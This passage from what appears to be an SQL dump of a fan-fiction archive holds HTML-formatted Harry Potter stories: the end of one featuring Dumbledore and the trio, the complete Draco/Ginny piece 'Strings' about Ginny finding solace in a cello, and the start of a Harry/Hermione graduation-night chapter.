his cup aside and regarded him attentively. &quot;Yes and no. The Mirror has many strange and wonderful properties.&quot; He groomed the tip of his beard with his fingers, pulling at the tiny knots with his fingernails. &quot;I had planned on telling you my story eventually, Harry, but as I said in your fifth year, I--&quot; He pressed his lips together. &quot;I didn\'t think you needed to be burdened anymore than you were already.&quot;</p>\n\n<p></p>\n\n<p> &quot;You never cared about <i>burdening</i> me!&quot; Harry sneered. &quot;You\'ve never cared about anyone who got in the way of your plans. People like Hagrid.&quot;</p>\n\n<p></p>\n\n<p> &quot;On the contrary, I care a great deal,&quot; Dumbledore said, wearily contemplating his fingers. &quot;Too much, at times, for the comfort of my conscience.&quot; He shifted in his chair. &quot;You see, I once was like young Mr Malfoy in the sense that I was . . . <i>cursed </i>with perfection of form.&quot; Dumbledore chuckled, even though Harry found nothing amusing about the conversation thus far. &quot;Though it may be hard to believe now, I once was a handsome, strapping youth.&quot;</p>\n\n<p></p>\n\n<p> The lights in the room seemed to flicker for a moment, shifting shadows over Dumbledore\'s face and Harry could suddenly see someone who looked nothing at all like the Headmaster before it was gone. He wasn\'t ready to credit it entirely to his imagination, but he wondered all the same. </p>\n\n<p></p>\n\n<p> &quot;Draco Malfoy has been cursed for the entire time you\'ve known him, until the beginning of this year, when it broken by a good friend of mine.&quot; Dumbledore\'s eyes suddenly lost their twinkle entirely, becoming two deep blue pools of depression. &quot;I am the one who created and introduced what is now a family curse to the Malfoy line.&quot; He sighed and rubbed his eyes with his thumb and forefinger, completely ignoring the effect his words had on his audience. </p>\n\n<p></p>\n\n<p> &quot;I took the idea from old Irish legends about a land of no pain and no sorrow, but also no happiness and no growth. People never aged or died, but they never really <i>lived</i> either.&quot; Dumbledore let his hand float up over the arm of his chair and waved it back and forth like wheat in a field, a gentle swaying motion. &quot;Constantly stuck in a state of perfection that they couldn\'t enjoy.</p>\n\n<p></p>\n\n<p> &quot;It was a bartering curse, you see. For one wish granted, a price was taken.&quot; Dumbledore\'s eyes were suddenly quite keen and penetrating again. &quot;It was the price I sought, not the vain glory of physical beauty and eternal youth. I had already found ways to prolong my life, so that held little draw for me. But a curse which blunts one\'s passions comes in useful when one must make concessions that may go against one\'s conscience and nature.&quot;</p>\n\n<p></p>\n\n<p> &quot;Or yours,&quot; Hermione pointed out quietly.</p>\n\n<p></p>\n\n<p> &quot;Quite, Miss Granger,&quot; Dumbledore agreed. &quot;But the time for discussion has ended, I think. I could explain myself all night and you still wouldn\'t understand.&quot; He rose from his chair and walked to the door. &quot;Better to show you.&quot;</p>\n\n<p></p>\n\n<p> Hermione caught Harry\'s eye and leaned in to whisper: &quot;This seems too easy, Harry. It\'s not right.&quot;</p>\n\n<p></p>\n\n<p> &quot;Yeah,&quot; Ron agreed, his clear blue eyes shifting about nervously. &quot;It could be a trap or something; we don\'t know what we\'re walking into.&quot;</p>\n\n<p></p>\n\n<p> Harry straightened and turned his head to see Dumbledore regarding them with the half-formed parody of a smile on his face. Then he acknowledged their desire for privacy and stepped through the door and into the stairwell.</p>\n\n<p></p>\n\n<p> &quot;What else can we do?&quot; Harry asked them seriously, binding their attention to him. &quot;We can sit here like three suspicious sheep, or we can prepare ourselves and follow him.&quot;</p>\n\n<p></p>\n\n<p> &#8220;Prepare ourselves to be right buggered like sheep, you mean,&#8221; Ron muttered. </p>\n\n<p></p>\n\n<p> Harry stared.</p>\n\n<p></p>\n\n<p> &#8220;What?&#8221; Ron asked defensively. &#8220;S&#8217;true.&#8221;</p>\n\n<p>\n\n</p>\n\n<p> &quot;We have reason to be suspicious, Harry,&quot; Hermione said, primly ignoring Ron&#8216;s last statement entirely. &quot;What we don\'t have is reason to follow him.&quot;</p>\n\n<p></p>\n\n<p> &quot;Except to find the Mirror,&quot; Ron added with a quiet insistence that made Harry paranoid.</p>\n\n<p></p>\n\n<p> Hermione threw her hands in the air and stood suddenly to hover over them. &quot;Gryffindor isn\'t a synonym for incredibly thick lunkhead!&quot;</p>\n\n<p></p>\n\n<p> &quot;What does syn--?&quot;</p>\n\n<p></p>\n\n<p> Harry shook his head at Ron. &quot;Don\'t.&quot;</p>\n\n<p></p>\n\n<p> Hermione flung her hair behind her shoulder, the brown fuzz moving in one great mass, and regarded them patronisingly, her hands on her hips. &quot;We have to be cautious, boys. This isn\'t a game.&quot;</p>\n\n<p></p>\n\n<p> &quot;When has it ever been a game?&quot; Harry asked heatedly. &quot;Never, that\'s when. Not when Sirius died, not when my parents died, and certainly not when Hagrid died!&quot;</p>\n\n<p></p>\n\n<p> Blood rushed to his face and his wand shivered in his grip, red sparks poured from his pocket where it was kept.</p>\n\n<p></p>\n\n<p> &quot;We\'re doing it again,&quot; Ron said sharply. &quot;How are we supposed to do <i>anything</i>, much less find the Mirror, if we can\'t go five minutes without arguing amongst ourselves?&quot;</p>\n\n<p></p>\n\n<p> The new, adult set of Ron\'s face, coupled with the fact that he\'d actually made sense, made Harry&#8216;s flesh creep. He would have asked who had taken Polyjuice to impersonate Ron, but decided that it was an insulting question, so he kept his peace.</p>\n\n<p></p>\n\n<p> A glance at Hermione showed that she was seriously considering Ron\'s statement, the situation as a whole, and their conversation so far. She always did think of everything. Harry could almost see all the words whirring around in her mind like trousers and t-shirts in his Aunt Petunia\'s tumble dryer. He anticipated the wisdom that usually came out of her mouth after such long contemplation.</p>\n\n<p></p>\n\n<p> &quot;Why are you so keen on that Mirror, Ron?&quot; she asked suddenly.</p>\n\n<p></p>\n\n<p> Ron opened his mouth to reply a few times, his cheeks colouring stubbornly. &quot;Well,&quot; he finally croaked. &quot;I thought that I could be the one to . . . sacrifice a desire.&quot;</p>\n\n<p></p>\n\n<p> Harry goggled at him. &quot;<i>Why</i>?&quot;</p>\n\n<p></p>\n\n<p> Ron shifted uncomfortably and Harry expected many different answers - half of them to do with Hermione or time turning - but not what he heard instead.</p>\n\n<p></p>\n\n<p> &quot;Pansy,&quot; Ron whispered. &quot;I<font face="Times New Roman">&#8212;</font> I ,&quot; he cleared his throat and turned to look at Harry. &quot;I really fancy her, Harry. You couldn\'t possibly understand how hard it is. I mean,&quot; Ron licked his lips and ducked his head to avoid Hermione\'s inquiring stare, huddling into himself. &quot;I don\'t care that she\'s a Slytherin, or even that she tried to kill me a few times. Pansy is-- she\'s just . . .&quot; he trailed off, helplessly spreading his hands and at an utter loss for words. </p>\n\n<p></p>\n\n<p> &quot;Special,&quot; Harry finished for him, glancing at Hermione. </p>\n\n<p></p>\n\n<p> Ron nodded gratefully. &quot;But even the <i>thought </i>of dating her is mad. It\'s impossible. I mean, I had to beg Millicent Bulstrode to let me into the Slytherin common room earlier and she wasn&#8216;t even there! You see what I mean? It&#8216;s mad to think it. They could have hexed me into next week, but I risked it just to see her face!&quot;</p>\n\n<p></p>\n\n<p> Something in his tone made Harry\'s eyes burn, so he shifted his attention to the side quickly. There was no way he was going to let Ron give up the potential for happiness, even if it was utterly insane. But they still needed a sacrifice . . .</p>\n\n<p></p>\n\n<p> &quot;Don\'t worry about the sacrifice, Ron,&quot; Harry said, bracing a hand against his friend\'s shoulder, resolved as to what he had to do. &quot;We\'ll find another way.&quot; He slowly looked up into Hermione\'s eyes. &quot;But we really should get going now. Dumbledore won\'t wait forever.&quot;</p>\n\n<p></p>\n\n</font><font face="Palatino Linotype" size="2"><p></p>\n\n<p></p>\n\n<p></p>\n\n</font><b><font face="Palatino Linotype"><p>Reading, reviewing . . . Always good for souls . . . Etc.</p></font></b>\n\n</blockquote>\n\n'),
	(272, 1, '\n\n<p class="MsoNormal">\n\n</p>\n<p class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><b>Title:</b>\nStrings<br>\n<b>Author name:</b> blazefury&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>\n<b>Author email:</b> le_femme_Y@hotmail.com<br>\n<b>Category:</b> Romance<br>\n<b>Keywords:</b> Draco Ginny<br>\n<b>Rating:</b> R<br>\n<b>Summary:</b> Musical tranquillity, helped her in her past as it does\npresently. In its enigmatic eloquence of language, uttered by the strings\nbeneath her fingers. It allows her to feel, to be confident, to observe and it\nalso attracts the forbidden.</p>\n<p class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><b>DISCLAIMER:</b>\nThis story is based on characters and some situations created and owned by JK\nRowling, various publishers including but not limited to Bloomsbury Books,\nScholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being\nmade and no copyright or trademark infringement is intended. Though primary\ncharacters and most other characters are copyright J.K. Rowling, some characters\nare copyright the author and if you wish to use them please ask before hand.</p>\n<p class="MsoNormal"><b>Author&#8217;s Notes: It\'s just Draco and Virginia. What\'s\nin a name? Enjoy.</b></p>\n<p class="MsoNormal">&nbsp;</p>\n<p><b><i>She feels the reverberations&#8230;</i>\n\n</b></p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">For as long as she could remember she\nalways felt as the odd one out. The girl with so many brothers that played with\nher, loved her and made her cry. In the beginning, they protected her and always\nwatched out for her, until they all left for school or started on their own\nlives. Then she was all alone. She had no one to talk to except her parents. She\ndidn&#8217;t have anyone to talk to about how lonely she was. No one to talk about\nhow angry and frustrated she felt about how poor she was. No one to tell that\nshe didn&#8217;t like having second hand robes and hand me down toys, that nothing\nshe had was hers but only a few books and clothes. No on to talk to about how\nshe hated being teased as the people she used to talk to were the ones tormenting\nher, even though they never meant any harm. There was no outlet.</p>\n<p class="MsoNormal"><b>&nbsp;\n\n</b></p>\n<p class="MsoNormal"><b><i>The taut strings beneath her\ncallused fingers.</i></b><i>\n\n</i></p>\n<p class="MsoNormal"><i>&nbsp;\n\n</i></p>\n<p class="MsoNormal">She found her solace in the few books\nshe had, getting lost in the worlds that were created. Romances that were fought\nfor, intriguing mystery and adventure held in high esteem. She was captivated\nand breath taken, but the few books she had wasn&#8217;t enough.</p>\n<p class="MsoNormal">So she steeled herself and spent her\ndays creating illusions for herself in which she immersed herself in thoroughly.\nForgetting all about The Burrow and her family. It was just herself and her\nUtopia.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>Her body gets used to, and gains\ncomfort from, the hard contours</i></b>.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">Then she to went off to Hogwarts. She\nfelt nervous and excited at the same time and kept to herself. She was used to\nbeing in the background though, just known as another Weasley. She didn&#8217;t mind\nit a lot though, she came to realise she cherished her solitude at times but it\nstill didn&#8217;t make the feelings of loneliness go away. In fact, it was even\nlonelier. Her brothers were all with their friends and enjoying themselves that\nthey barely paid any attention to her. She could talk to Hermione but she was\nalways with her brother and Harry. She craved for a friendship like that but it\nwasn&#8217;t easy for her to get it. No one understood her. One day, she looked\namongst her books in her trunk and found a leather bound book, empty with cool,\nsmooth pages. She looked at it and took her quill and dipped it in ink. She\ncleared her mind and began to write, never stopping for a moment until she got\neverything she wanted written down. She looked at it with a small smile and to\nher utter dismay, saw the carefully scrawled words, disappear.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>Her hand grips the bow lightly and\nshe splays her fingers.\n\n</i></b></p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">She became astonished when the book\ncomplimented her and introduced himself as Tom. Tom Riddle. She had taken to him\ninstantly and confided in him more often than she should have, bringing the book\nwith her everywhere. She felt powerless and loved the way she was paid such\nattention and showered with compliments. She managed to lose herself in it and\nher storybooks were shoved in the back burner. Then terrible occurrences wrecked\nthrough her and she felt worse than ever before and tried to pull out of it. She\ndid eventually, but at such a price. Writing was somewhat painful now and it\nshattered her, as she wanted nothing of that painful recollection.</p>\n<p class="MsoNormal"><b>&nbsp;\n\n</b></p>\n<p><b><i>She waits and takes a deep breath&#8230;</i></b></p>\n<p class="MsoNormal"><i>&nbsp;\n\n</i></p>\n<p class="MsoNormal">She started having nightmares and it\nhurt her every single time. She remembered the way she was used and how torn\napart everything came to be. She could talk to no one about it, not her parents,\nher brothers or what so-called friends she had. She couldn&#8217;t write anymore and\nreading anything was fraught with painful reminders. She could only keep it all\nin and cry herself to sleep. She fought for her solitude fiercely and became\nmore reclusive. Her father&#8217;s heart ached to see the jewel of his eye no longer\nshining with brilliance. She never smiled anymore and scarcely talked to any of\nthem and he knew that she cried herself to sleep. He couldn&#8217;t help her and\nthat more often than not broke his heart and he felt the dark deep weight that\nshe carried burdened onto his own shoulders. He didn&#8217;t know what to do. Out of\nthe blue one day, he got a call from the Ministry to get down to a certain Mr.\nMalone&#8217;s music shop to seize his instruments. He apparently had all his\ninstruments enchanted so that they wouldn&#8217;t last very long even though they\nproduced the best sounds. So the muggle customers kept going back to his shop to\nbuy instruments from him. With heavy thoughts still on his mind he went and did\nhis job effortlessly with a few others assigned in his department. Everything\nwas rounded up and Mr. Malone was fined heavily. They were still packing up the\nvast number of instruments Mr. Malone had when he turned and something caught\nhis eye. It was beautiful, the curves it had and the heavily scented wood shone.\nHis hand brushed over it and he fell in love with it and he knew just what to do\nwith it. Instead of handing it over to the department, he shrunk it and placed\nin his robe pocket and set off for home when everything was done and over with,\nleaving Mr. Malone&#8217;s shop empty and a sign swinging that said: Closed.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>String meets string in joyful\nharmony and she exhales. \n\n</i></b></p>\n<p class="MsoNormal"><i>&nbsp;\n\n</i></p>\n<p class="MsoNormal">That night he spent all of it in the\ngarage, taking off the enchantments that were placed on the beautiful instrument\nand checked it out for every single, hex and curse he could think off. He\nexperimented with it and he could find nothing wrong with it at all. He smiled.\nHe placed his own charms and enchantments on it, to keep it safe, durable and in\ngood condition. It was early morning when he finished and he went up to her room\nto surprise her. He watched her sleep for a while, knowing that she had merely a\nfew minutes of peace. He hoped that this would help. He was desperate to see his\nlittle girl back again the way she was. When she woke up, she stretched lazily\nwith a huge yawn and smiled when she saw her father. Before presenting her with\nher gift though, he gave her a hug and fought to keep the tears that were\nthreatening to spill. Swallowing, he told her that he had something special. Her\neyes gleamed for a moment but went back to its dull state, not wanting to get\nher hopes up. He brought the instrument in and she gasped at it. Her eyes\nflickered over every inch of the polished wood and strings, taking small steps\ntoward it, and bent down to examine in, touching it with hesitancy. She looked\nto her father who smiled broadly and handed her the bow. She didn&#8217;t realise\nshe was holding her breath as her eyes trailed over the body of the instrument.\nIt was beautiful and it was hers. Hers alone and nobody else&#8217;s. It wasn&#8217;t a\nhand me down nor was it second hand but new and it was hers. When her father\nleft the room, happy with her response, she expelled the air from her lungs.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p><b><i>Her fingers fly over the long and graceful neck as\nshe feels, she lets loose and feels&#8230;</i>\n\n</b></p>\n<p class="MsoNormal"><b>&nbsp;\n\n</b></p>\n<p class="MsoNormal">During the rest of that summer, she lost\nherself to the cello. She learnt every single feel and movement that\ncollaborated to form a single sound, by ear and painstaking practice. She\ndidn&#8217;t give up but forged ahead as she learnt the language that formed an\nelectric harmony that made her feel whole. She felt better than before, not\nminding the callused fingers but appreciating them as they told a story. The\nweight was lifted off her shoulders and her father smiled at the collective glow\nthat radiated from her. His jewel began to shine once more, with an even\nbrighter light than before. She played day and night; it was her call of joy,\nher lullaby and her feelings. She always played with her eyes closed, so her\nfingers feel just a bit more, so that she can hear a bit better and for her to\nremember each and every sound.</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>The bow moves back and forth in\nrapid fluidity. \n\n</i></b></p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;She\ntakes her cello to school with her every year since then, knowing that it will\nhelp her. She plays only for herself and no one else. Finding an empty room and\nplacing a silencing charm around it or in her dorm when every one leaves, she\nlocks the door and lets loose. The pleasure she gets from playing stays with\nher, boosting her confidence as she smiles a bit more at everybody, making\nconversation. She transcends beauty in her radiance and everybody looks at her\ndifferently. She is still quiet at times though and enjoys her solitude but she\nobserves more of everyone around her, listening and watching, but she fails to\nsee one that looks at her intently from across the room.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoBodyText"><b><i>Her hands never get tired of\nplaying. From her earlier slow start, it grows intense and speeds up\nconsiderably&#8230;almost frantic.</i>\n\n</b></p>\n<p class="MsoBodyText">&nbsp;\n\n</p>\n<p class="MsoBodyText">She had one\nof those terribly bad days. Snape insulted her as always, her bag had split,\nmaking her ink bottles crash and make a mess over her homework and she was late\nfor Transfiguration, earning her a detention and a swipe at the Gryffindor house\npoints as the ink had smashed onto her Transfiguration essay. Added on was the\nfact that she didn&#8217;t have a clue what was happening in Professor Binn&#8217;s\nclass and she forgot that she had a test on charms as she was so worked up over\nher damned potions homework. Ah the doldrums. She needed to release her worries\nor she knew she was going to end up with a full blown migraine and she knew she\nwouldn&#8217;t be able to get herself to Madam Pomfrey&#8217;s.\n\n</p>\n<p class="MsoBodyText">&nbsp;\n\n</p>\n<p class="MsoBodyText"><b><i>Her breathing becomes ragged as\nthe notes become sharper. </i>\n\n</b></p>\n<p class="MsoBodyText">&nbsp;\n\n</p>\n<p class="MsoBodyText">She turned\nto look at her beloved instrument and shrunk it down to size and placed it in\nher robe pocket, just like her father taught her. She walked hurriedly almost\njogging to the other end of the castle where there was a huge window with box\nseats and turned to her right where there was a door that blended in with the\nwall. She knew nobody came to this room as she had been using it all these\nyears. It was a wonderful room, it wasn&#8217;t very big, filled with only but a few\nchairs. For four years this was her hideaway, to which she spent time within her\nworld. This time, she was excited to play and was careless as she didn&#8217;t place\nthe silencing charm and the door is left slightly ajar. She brings her cello out\nof her pocket and returns it back to its normal size and adjusts herself and\ntakes a deep breath. She only exhales when she starts playing and her eyes\nflutter to a close as she feels the familiar taut strings beneath her fingers,\nvibrating with its soulful language. She moves with her music and feels the\nemotions draining from her. She doesn&#8217;t notice the boy that has been watching\nher come in through the door and stare at her with surprise and appreciation.\nShe hears nothing but her music as his feet shuffles across the floor her and\nsits down directly in front of her. He watches as her flaming hair moves with\nher and it seems to be dancing, her eyes closed in concentration and her fingers\nmoving deftly with smooth precision. He watches her parted lips as they gasp for\nair and a pleasurable smile crosses it. Her playing grows faster and faster and\nhe feels the music shake within him and stir something. He feels that if she\nplays any faster he might just burst. He is fascinated with the creature in\nfront of him and his brow furrows at her intensity.\n\n</p>\n<p class="MsoBodyText">&nbsp;<i>\n\n</i></p>\n<p class="MsoBodyText"><b><i>Her bow leaves the cello with a\nhigh soaring note and she slumps with a grin, eyes still closed.&nbsp;\n</i>\n\n</b></p>\n<p class="MsoBodyText">&nbsp;\n\n</p>\n<p class="MsoBodyText">She finishes\nand her chest heaves, she smiles with her eyes closed and leans back into the\nchair while he leans forward, waiting for her to open her eyes and when she does\nher mouth parts in shock as she looks into silver pools set on a pale face with\nsmooth skin topped with blonde hair that sees almost white like an aureole. Her\neyes widen as she studies him quickly, there is no sneer and there is no malice\npresent in his eyes, just confusion and captivated interest. Her brandy coloured\neyes flicker over him as he looks over her as well. They sit and stare at each\nother with much interest in silence and she smiles. She hugs her cello as he\nlooks at her softly and he stands up to leave the room with a final glance back\nbefore he walks away. Usually she would be angry if anybody heard her play but\nit felt comfortable, for him to be just sitting there staring back at her with\nthose eyes and so, it continued. He would come to listen to her everyday as she\nplayed with her eyes closed. He never said anything, never showered her with\ncompliments other then that one time when he said that he loved the way she\nplayed. He merely paid attention to her and his eyes said everything for him. He\nnever smiled but it was enough that she did. \n\n</p>\n<p class="MsoBodyText">&nbsp;<i>\n\n</i></p>\n<p class="MsoBodyText"><b><i>Her eyes open, glazed with\nexcitement and pure energy that shines. </i>\n\n</b></p>\n<p class="MsoBodyText">&nbsp;\n\n</p>\n<p class="MsoBodyText">She can feel\nhis eyes on her and knows that he likes what he sees but also likes what he\nhears and what she thinks. He says her name like no other person and he listens\nquietly before bursting in with his own opinions, some of it sarcastic and\ncutting, some of it quite rude and some of it just soft and surprising. He is\nunpredictable at times and she likes it. He doesn&#8217;t overwhelm her with\npromises but she knows some things. She can read his eyes, even when he tries to\nmask them, like the way he can read hers. His touches are soft and lingering,\nhis kisses passionate and his embraces chest tightening. Everything starts off\nslow and gentle but like her playing it ends up fast, frantic, deep and soaring.\nIt goes on like this and she doesn&#8217;t mind this intrusion into her private\nsolitude. \n\n</p>\n<p class="MsoBodyText"><b>&nbsp;\n\n</b></p>\n<p class="MsoBodyText"><b><i>He understands.</i></b><i>\n</i>\n\n</p>\n<p class="MsoNormal"><i>&nbsp;\n\n</i></p>\n<p class="MsoNormal">She no longer plays for herself but for\nhim as well. She still plays with her eyes closed but she is not alone as he is\nthere in front of her, watching her. The harmony she creates, a song just for\nthem in their Utopia as he whispers,</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>\'You are my instrument. I need\nyou.\' \n\n</i></b></p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>He understands.</i></b></p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">But he doesn&#8217;t know that while she needs the cello, she needs him even more.&nbsp;</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal"><b><i>He is her music. \n\n</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;************</i></b></p>\n<p class="MsoNormal"><b><i>Fin.</i></b></p>\n<p class="MsoNormal"><b><i>\n\n</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;\n\n</i></b></p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n<p class="MsoNormal">&nbsp;\n\n</p>\n\n\n\n\n'),
	(273, 1, '<b>Chapter One: The Boy Who Loved </b><p>\n\n\nThe early summer winds swept melodically across the Hogwarts grounds as several owls glided through the night sky. Most of the students had turned in for the evening, anxiously awaiting the graduation ceremony that would take place in the morning. The seven years had returned to their common rooms right after dinner making last minute preparations for the event and spending one last evening with their classmates. It was a bittersweet moment. They were all moving on to bigger and better things and at the same time, they were leaving the first place many of them had ever truly called home. One student in particular was having a very hard time saying goodbye, and that was the infamous Harry Potter. </p><p>\nHe stood along the otherwise abandoned Quidditch field grasping his Firebolt and a far off look in his eyes. \'It really *is* coming to an end\' he thought to himself. After tomorrow, Hogwart\'s would be a thing of his past. There would be no more roaming the halls in his invisibility cloak. No more talks with Dumbledore, spats with Snape, or run ins with McGonnagel. He was graduating an accomplished Gryffindor, and Head Boy of his class. He was going to leave behind the closest thing to family he\'d even known. He wasn\'t going to be able to sneak to Hagrid\'s hut for a snack. He wouldn\'t be able to concoct endless ways to die a horrible death to please Professor Trelawney with Ron. And he wouldn\'t be able to find the answers to the most perplexing wizarding questions without the help of Hermione. </p><p> \n"Hermione." He muttered softly to himself. He\'d been thinking of her often. As his time at Hogwart\'s began to run out, he\'d realized just how precious she was to him. Sure he\'d always known that she was an incredible friend. Loyal, clever, brave, but it had taken him six years to realize just how truly special she was and always had been. </p><p>\nMounting his broom and taking off through the cool night air, his thoughts continued dwelling on the captivating Miss Granger. </p><p>\nShe and Ron had been his closest, most trusted confidants since their first days at Hogwarts, but until now he\'d taken her for granted. When Hermione wanted to crack the books and prepare for finals, he\'d often follow Ron\'s lead to the Quidditch field for a little practice. She always pushed them to do their best and cared deeply for their successful completion of O.W.L.S., the apparition test, etc. If it wasn\'t for Hermione, he never would have been Head Boy. It wasn\'t that he was stupid, but he wasn\'t focused. She is the one who pushed until she got the results she wanted out of him. She was the reason he\'d done so well throughout the last seven years. It was all of her encouragement that helped mold him into the impressive wizard she always knew he was meant to be, and he didn\'t know if he\'d ever be able to show her how truly grateful he was. </p><p>\nWhy hadn\'t he noticed years ago? Hermione was *everything*. Intelligent, beautiful, loyal, caring, compassionate. She was by his side through every struggle and obstacle that occured throughout their schooling at Hogwarts. She didn\'t leave when things got dangerous and risky. On the contrary, she stepped up to every challenge with him and Ron and faced it head on. Her cool and collected demeanor mixed with her well above average I.Q. had helped to bail them all out of many predicaments, and her voice of reason helped talk sense into them both when they weren\'t thinking rationally hundreds of times. There were moments when she was a bit much to handle. Her stubborness and incessant need to be right were annoying at times, but looking at it in retrospect, it was these little quirks that Harry loved about her. They are just a small part of the selfless, kind, and charming young witch that was his Hermione. She was everything he could ever ask for, and she was also dating his best friend. </p><p>\n~*~*~*~*~*~*~*~*~*~*~*~</p><p>\nDeeply saddened by the realization that his chance with Hermione had passed, he took one last lap around the Quidditch field and decided it would be best to turn in. Gently gliding to the ground, he took one last glance at the place he\'d spent the last seven years playing as Gryffindor House\'s seeker and started his way back to the castle when a familiar voice spoke through the darkness. </p><p>\n"It\'s in your blood." </p><p>\nA smile slowly crept across his face as he turned to find the alluring Miss Granger standing to his left, her wand in one hand and a piece of parchment in the other. </p><p>\n"You know, someone else told me those exact words about seven years ago. She assured me I wouldn\'t fail at Quidditch. I wasn\'t so certain." </p><p>\nShe grinned as she walked closer to where he was standing.</p><p> \n"Lumos!" She whispered as a small beam of light appeared from the tip of her wand. "Well, judging from Four Quidditch Cups, twelve consecutive wins, 2,250 total points, and three years as Captain, I\'d say she was right on the money, she was." </p><p>\n"You sound like Harry Potter\'s number one fan." He laughed, very impressed that she was so attentive of his accomplishments. </p><p>\n"Now see here, Potter. I have to be President of the fan club. By the way, where is that autographed photo I owled you for in our second year, hmm?"</p><p> \n"I think you have me confused with Professor Lockhart, Granger." He winked, knowing how much she hated being teased about her obvious infatuation with one of their many Defense Against the Dark Arts Professors. </p><p>\n"Mr. Potter, I don\'t know what you are talking about." she said feigning surprise at his statement, "I am not the type to have schoolgirl crushes. I spent my years hitting the books while *some* of us were busy gawking at Ravenclaw seekers and Beauxbatons Champions."</p><p> \n"Excuse me, Miss Granger, but for someone who was busy \'hitting the books\', you sure took time out to chase Mr. Weasley, did you not?" He replied as a twinge of jealousy and regret suddenly shot through his body. </p><p>\n"Oh.." She began, a bit taken a back that the tone in his voice had changed and he didn\'t seem as playful as he had moments ago. "Ron chased *me*, thank you very much. Bloody hell, it took the boy four years to even realize I was a member of the opposite sex, do you think I would have wasted my precious studying time trying to snag him? I\'m just glad the boy finally got some sense in him. I always knew I would wind up with one of yo-"</p><p> \n"One of you?" Harry repeated, watching as her cheeks turned red and she turned from his gaze. "You mean, you thought we could\'ve been together under different circumstances? </p><p>\n"Maybe. Why, is the idea *that* appalling, Harry?" She asked in a low, shaky voice as she turned her back towards him, "I mean, there\'s always been a connection between us, perhaps under different *circumstances*, it could have been more than a friendly one."</p><p> \n"Not apalling at all, Granger." He said softly, reaching his arm out to touch her shoulder. "I just wish I\'d thought of it sooner."</p><p> \n"What are you saying, Harry?" She asked curiously as she turned to look at him once more, both shocked and intrigued by his reply. "You mean, you\'ve thought about us, you know, in *that* way." </p><p>\n"Yes." He nodded as he let out a sigh. "Ya know Hermione, it\'s times like this I wish we still had the time turner."</p><p> \n"Oh Harry.." She whispered, tears forming in her eyes. "Would you really go back to change things if you could?"</p><p> \n"No," He shook his head as he himself began to fight back oncoming tears. "If anyone deserves you, Hermione, it\'s Ron. But if I am only going to get this one moment of honesty with you, I want to be able to replay it over and over. If this is all I am going to have, I don\'t ever want it to end. If I was only allowed one memory, it would be this one here with you, simply knowing if things had gone differently, at least I had a chance. Even if I let it pass me by, I\'m still honored knowing that I could have had someone like you in my life. Of all the things that have happened here over the last seven years, this is the one night I want to suspend in time. What could have been for the Boy who Lived...and the Girl he loved."</p><p> \n"Oh geez, Harry..." She answered, biting down on her quivering lip as the tears she\'d been trying so hard to hold in began to fall rapidly down her face. "You were *never* the Boy who lived to me. You were never some famous name I became friends with for glory. I saw something special in you because you are a phenomenal person, Harry Potter. To the world you\'re the one who conquered the Dark Lord, but to me you are my friend, my hero."</p><p> \n"I know Hermione." He wept, unable to control his emotions any longer. "That\'s what I love most about you. I wasn\'t some name. You liked me for being me. No more. No less."</p><p> \n"No, you\'re wrong!" She yelped. "Being who you are isn\'t the reason I liked you, Harry. It\'s....it\'s the reason I love you."</p><p> \n"Hermione..." He sobbed, reaching his hand to caress her aching face. "Where\'s that time turner when we need it?"</p><p> \n"We don\'t.." She insisted as she continued to cry. "Harry, if this is our *moment*, I won\'t need help remembering it. This is going to be the one thing I remember most. Our last night, our last stolen moment, our last kiss..."</p><p> \n"Hermione, we can\'t do that." He said nervously. As much as he wanted it to happen, there was still someone standing in their way. Someone he had called his best friend for the last seven years. Someone they both loved with all of their hearts.</p><p> \n"Why not?" She asked, leaning closer to him.</p><p> \n"For one thing, we\'ve never had a first kiss. Secondly, I can\'t do that to Ron."</p><p> \n"But there is no Ron right now, Harry!" She exclaimed, as all of her usual rational behavior and composure seemed to melt away. "This is our moment, our suspension of time. There is only you and me. If this is all we have to hold on to, then I want to end it properly."</p><p> \n"Hermione.." His voice cracked as she leaned in closer and sweat began to form in his palms and his heart started to race.</p><p> \n"Please, Harry." She pleaded, moving her face mere inches from his, "This is our moment, you and me. I need to know what could have been. I need this memory, and for just a few seconds, I need you..."</p><p> \nUnable to resist the temptation any longer, he grabbed her waist tightly and pulled her towards him. A slight gasp of shock escaped her lips before they met with his in a dance that was seven years in the making. All that was still left to be said was executed eloquently in one simple, yet poignant moment between two star-crossed lovers who\'d taken the wrong path. It was their moment, their one small piece of history. It was beautiful, it was perfect, and unfortunately, it was witnessed 